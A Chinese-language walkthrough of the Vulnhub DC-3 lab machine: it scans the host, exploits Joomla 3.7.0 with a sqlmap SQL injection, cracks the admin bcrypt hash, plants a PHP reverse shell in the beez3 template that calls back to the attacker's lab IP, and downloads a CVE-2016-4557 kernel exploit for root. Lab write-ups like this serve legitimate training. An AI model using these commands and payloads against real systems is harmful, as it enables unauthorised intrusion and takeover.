Vulnhub-DC-3
环境配置
vulnhub 下载此靶机,下载地址如下:
1 | https://download.vulnhub.com/dc/DC-3-2.zip |
将靶机设置为 NAT 模式,IDE 设置为 IDE 0:0,开机即可,配置说明如下:
1 | 攻击机ip:192.168.52.128 |
信息收集
端口扫描
首先使用 Nmap 的 Ping 扫描快速发现活跃主机,发现靶机 ip 为 192.168.52.129
1 | nmap -sP 192.168.52.0/24 |
使用 Nmap 全面扫一下开放的端口和运行的服务
1 | nmap -sT -A -p1-65535 -T4 -O -sV 192.168.52.129 |
扫描结果如下:系统只开放了一个 HTTP 服务(80 端口)
1 | PORT STATE SERVICE VERSION |
网站信息收集
访问该网站,提示说是只存在一个 flag 且需要提权查看,先指纹识别一下发现是 Joomla CMS
目录扫描
先扫一下目录看看有什么敏感文件泄露
1 | python .\dirsearch.py -u http://192.168.52.129/ |
发现存在 /administrator/ 目录,访问是一个后台登陆的地方,尝试弱口令失败
使用 MSF 探测一下该 CMS 的版本,使用编号为 14 的 payload 探测版本,发现是 3.7.0 的
再查询 3.7.0 版本的漏洞,发现只有一个 sql 注入的漏洞,直接跑好像跑不出来,这里使用 sqlmap 来跑
漏洞利用
SQL 注入
这里的 paylaod 是 exploitdb 里查到的,或者网上搜也能搜到注入点
1 | sqlmap -u "http://192.168.52.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] |
成功爆破出数据库,然后依次爆破表,字段和数据,最终命令如下:
1 | sqlmap -u "http://192.168.52.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -p list[fullordering] -D "joomladb" -T "#__users" -C name,password,username --dump |
得到一个 admin 的账号密码,密码是 hash 加密的,需要爆破,我个人习惯是用 hashcat 爆破,先查一下 hash 加密类型
发现符合 bcrypt 的加密特征,使用 rockyou 字典进行爆破,命令如下:
1 | hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt |
爆破得到 admin 账号的密码 snoopy,尝试登陆。前台登陆进去没有功能点,后台登陆成功
利用模板写shell
发现 CMS 上好多 rce 漏洞都是利用模板或者插件的配置写反弹 shell 命令访问执行的。。。不过能对插件有写入权限还得要登陆进管理员后台
进入后台,在 Extensions -> Templates -> Templates 处有两个插件,可以选择一个查看源码并编辑,在插件根目录写一个反弹 shell 的命令,php反弹shell命令如下,命名为 shell.php 并保存
1 | <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.52.128/2233 0>&1'");?> |
这里我选择的第一个插件 beez3,一句话木马在插件根目录写着,所以路径如下:
1 | http://192.168.52.129/templates/beez3/shell.php |
攻击机开启监听,然后访问木马地址,拿到 shell
权限提升
suid 没有可以利用的命令,sudo 权限不对,这里还是尝试内核提权
反弹拿到的 shell 上传文件有点小麻烦,这是还是先再写一个一句话木马用蚁剑连上,上传自动检测内核漏洞的脚本,脚本地址如下
1 | https://github.com/The-Z-Labs/linux-exploit-suggester |
上传到 tmp 目录下,赋予可执行权限,运行即可
1 | cd /tmp |
发现一个完美命中的,CVE-2016-4557 漏洞
这个 kali 本地的 exploitdb 里好像没有,按照给出的下载地址下载利用文件
1 | wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip |
下载后解压两层进入 ebpf_mapfd_doubleput_exploit 目录,先运行 compile.sh 文件自动编译 doubleput.c 文件,再执行编译后的文件实现提权